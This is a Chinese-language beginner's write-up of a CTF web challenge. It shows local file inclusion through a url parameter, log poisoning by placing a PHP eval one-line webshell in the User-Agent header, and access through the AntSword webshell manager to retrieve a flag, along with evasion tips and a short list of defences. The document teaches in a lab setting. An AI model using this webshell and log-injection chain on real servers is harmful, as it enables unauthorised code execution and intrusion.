从零开始的CTF冒险:Nginx日志泄露到蚁剑拿Flag全记录
第一次接触CTF比赛时,那些专业术语和复杂操作总让我望而生畏。直到在ctfshow平台上尝试了这道Web4题目,才真正理解了"文件包含"和"日志注入"这两个听起来高大上的概念究竟如何落地实操。下面就用最直白的语言,还原我这个安全菜鸟的完整解题过程。
1. 初识题目与基本侦查
打开ctfshow的Web4题目页面,首先看到的是一个看似普通的网站。根据题目提示"文件包含&日志注入",我开始思考这两个关键词的含义。作为完全的新手,我先做了以下准备工作:
- 安装必要工具:
- Wappalyzer(浏览器插件,用于识别网站技术栈)
- Burp Suite Community(免费的抓包改包工具)
- 蚁剑(国产Webshell管理工具)
提示:这些工具在CTF比赛中非常常用,建议提前配置好环境
使用Wappalyzer扫描后,发现网站运行在Nginx服务器上。这很关键,因为不同服务器(如Apache和Nginx)的日志路径和配置方式都不同。对于新手来说,记住这些基础信息能少走很多弯路:
| 服务器类型 | 访问日志路径 | 错误日志路径 |
|---|---|---|
| Apache | /var/log/apache/access.log | /var/log/apache/error.log |
| Nginx | /var/log/nginx/access.log | /var/log/nginx/error.log |
2. 理解文件包含漏洞
题目提示中的"文件包含"指的是服务器能够读取并执行指定路径文件内容的能力。在PHP中,常见的文件包含函数有:
include() require() include_once() require_once()尝试在URL后添加参数?url=/etc/passwd,竟然真的返回了系统的用户信息!这说明存在本地文件包含(LFI)漏洞。但我们的目标是获取flag,仅读取文件还不够。
3. 日志注入攻击实战
既然能读取文件,那么如果能将恶意代码写入某个可读的文件中,再通过文件包含执行它,就能实现代码执行。服务器日志正是这样一个理想的目标:
- 确认日志路径:尝试
?url=/var/log/nginx/access.log,成功读取访问日志 - 分析日志内容:发现记录了User-Agent等请求头信息
- 注入恶意代码:通过修改User-Agent植入PHP一句话木马
这里需要使用Burp Suite拦截请求并修改User-Agent:
GET / HTTP/1.1 Host: example.com User-Agent: <?php eval($_POST['cmd']);?>注意:实际操作中需要URL编码特殊字符,Burp Suite会自动处理
4. 蚁剑连接与Flag获取
成功注入后,使用蚁剑连接日志文件地址:
- 新建连接,URL填写
http://目标地址/?url=/var/log/nginx/access.log - 连接类型选择"PHP"
- 点击测试连接,确认成功后即可进入文件管理
在服务器文件系统中寻找flag通常有几个常见位置:
- 网站根目录下的flag、flag.txt等文件
- /var/www/html/目录
- /tmp/目录
- 题目描述中特别提示的路径
最终在/var/www/html/目录下找到了flag文件,内容为:ctfshow{8df69fe0-d37b-4231-a482-c3d93c89f43c}
5. 新手常见问题与解决技巧
第一次尝试这类题目时,我遇到了不少坑,总结几个关键点:
日志写入不成功:
- 确认服务器是否有写权限
- 检查PHP标签是否被过滤
- 尝试不同的注入位置(如Referer)
蚁剑连接失败:
- 确认一句话木马确实写入了日志
- 检查连接地址是否正确包含文件包含参数
- 尝试使用base64编码等变形绕过防护
找不到flag文件:
- 使用蚁剑的搜索功能
- 查看网站配置文件寻找线索
- 尝试常见flag文件名(flag、flag.txt、flag.php等)
6. 防御措施与学习延伸
理解了攻击原理后,也应该知道如何防御这类漏洞:
- 关闭不必要的日志记录
- 对文件包含参数进行严格过滤
- 设置open_basedir限制文件访问范围
- 定期检查服务器日志
想进一步学习Web安全,推荐从以下资源开始:
- 《Web安全攻防:渗透测试实战指南》
- OWASP Top 10漏洞清单
- CTFshow、BugKu等入门友好平台
- Hack The Box基础挑战
第一次完整解决CTF题目的成就感无可替代。从完全不懂到逐步理解每个步骤的意义,这个过程让我体会到安全研究的乐趣。建议新手不要害怕失败,每个错误都是宝贵的学习机会。